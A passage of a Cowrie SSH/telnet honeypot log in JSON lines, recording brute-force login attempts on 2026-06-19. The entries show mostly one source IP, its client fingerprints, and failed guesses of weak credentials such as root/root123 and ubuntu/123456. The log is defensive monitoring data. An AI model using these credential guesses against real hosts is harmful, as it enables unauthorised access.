f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:24.753264Z","src_ip":"41.86.34.139","session":"67f9eb3bef69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:25.633173Z","src_ip":"41.86.34.139","session":"67f9eb3bef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:26.843042Z","src_ip":"41.86.34.139","session":"67f9eb3bef69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27972,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb7c1e41c50","protocol":"ssh","message":"New connection: 141.11.88.14:27972 (10.17.0.5:22) [session: 6eb7c1e41c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:27.040552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:27.155651Z","src_ip":"141.11.88.14","session":"6eb7c1e41c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:27.158922Z","src_ip":"141.11.88.14","session":"6eb7c1e41c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"ana","message":"login attempt [ana/ana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:28.645055Z","src_ip":"141.11.88.14","session":"6eb7c1e41c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:29.793809Z","src_ip":"141.11.88.14","session":"6eb7c1e41c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44952,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a912d026491","protocol":"telnet","message":"New connection: 128.199.8.54:44952 (159.203.135.109:23) [session: 2a912d026491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:32.282661Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45488,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac726bb4f167","protocol":"ssh","message":"New connection: 141.11.88.14:45488 (10.17.0.5:22) [session: ac726bb4f167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:33.290728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:33.373490Z","src_ip":"141.11.88.14","session":"ac726bb4f167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:33.377808Z","src_ip":"141.11.88.14","session":"ac726bb4f167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:34.134506Z","src_ip":"141.11.88.14","session":"ac726bb4f167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:35.256495Z","src_ip":"141.11.88.14","session":"ac726bb4f167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61984,"dst_ip":"10.17.0.5","dst_port":22,"session":"32b64a05fb65","protocol":"ssh","message":"New connection: 141.11.88.14:61984 (10.17.0.5:22) [session: 32b64a05fb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:39.900054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:40.072036Z","src_ip":"141.11.88.14","session":"32b64a05fb65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:40.075949Z","src_ip":"141.11.88.14","session":"32b64a05fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:41.271641Z","src_ip":"141.11.88.14","session":"32b64a05fb65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:42.647888Z","src_ip":"141.11.88.14","session":"32b64a05fb65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33378,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba6cf9e7e10","protocol":"ssh","message":"New connection: 160.191.244.158:33378 (159.203.135.109:22) [session: 3ba6cf9e7e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:44.888419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:44.894099Z","src_ip":"160.191.244.158","session":"3ba6cf9e7e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:45.130091Z","src_ip":"160.191.244.158","session":"3ba6cf9e7e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sports","password":"123456","message":"login attempt [sports/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:46.104873Z","src_ip":"160.191.244.158","session":"3ba6cf9e7e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:47.342442Z","src_ip":"160.191.244.158","session":"3ba6cf9e7e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47602,"dst_ip":"10.17.0.5","dst_port":22,"session":"cebd8d55cb1c","protocol":"ssh","message":"New connection: 141.11.88.14:47602 (10.17.0.5:22) [session: cebd8d55cb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:47.810823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:47.917432Z","src_ip":"141.11.88.14","session":"cebd8d55cb1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:47.920647Z","src_ip":"141.11.88.14","session":"cebd8d55cb1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:49.163651Z","src_ip":"141.11.88.14","session":"cebd8d55cb1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:50.537818Z","src_ip":"141.11.88.14","session":"cebd8d55cb1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47670,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2bcd8792d1a","protocol":"ssh","message":"New connection: 141.11.88.14:47670 (10.17.0.5:22) [session: d2bcd8792d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:53.848362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:53.895959Z","src_ip":"141.11.88.14","session":"d2bcd8792d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:53.985422Z","src_ip":"141.11.88.14","session":"d2bcd8792d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:54.523904Z","src_ip":"141.11.88.14","session":"d2bcd8792d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:55.634884Z","src_ip":"141.11.88.14","session":"d2bcd8792d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50504,"dst_ip":"10.17.0.5","dst_port":22,"session":"49104a185a16","protocol":"ssh","message":"New connection: 141.11.88.14:50504 (10.17.0.5:22) [session: 49104a185a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:00.697585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:00.906471Z","src_ip":"141.11.88.14","session":"49104a185a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:00.910187Z","src_ip":"141.11.88.14","session":"49104a185a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:01.567307Z","src_ip":"141.11.88.14","session":"49104a185a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:02.842100Z","src_ip":"141.11.88.14","session":"49104a185a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50534,"dst_ip":"10.17.0.5","dst_port":22,"session":"516fcedc906c","protocol":"ssh","message":"New connection: 141.11.88.14:50534 (10.17.0.5:22) [session: 516fcedc906c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:06.021177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:06.245093Z","src_ip":"141.11.88.14","session":"516fcedc906c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:06.249802Z","src_ip":"141.11.88.14","session":"516fcedc906c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:08.000777Z","src_ip":"141.11.88.14","session":"516fcedc906c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:45:09.513813Z","src_ip":"141.11.88.14","session":"516fcedc906c","protocol":"ssh"}
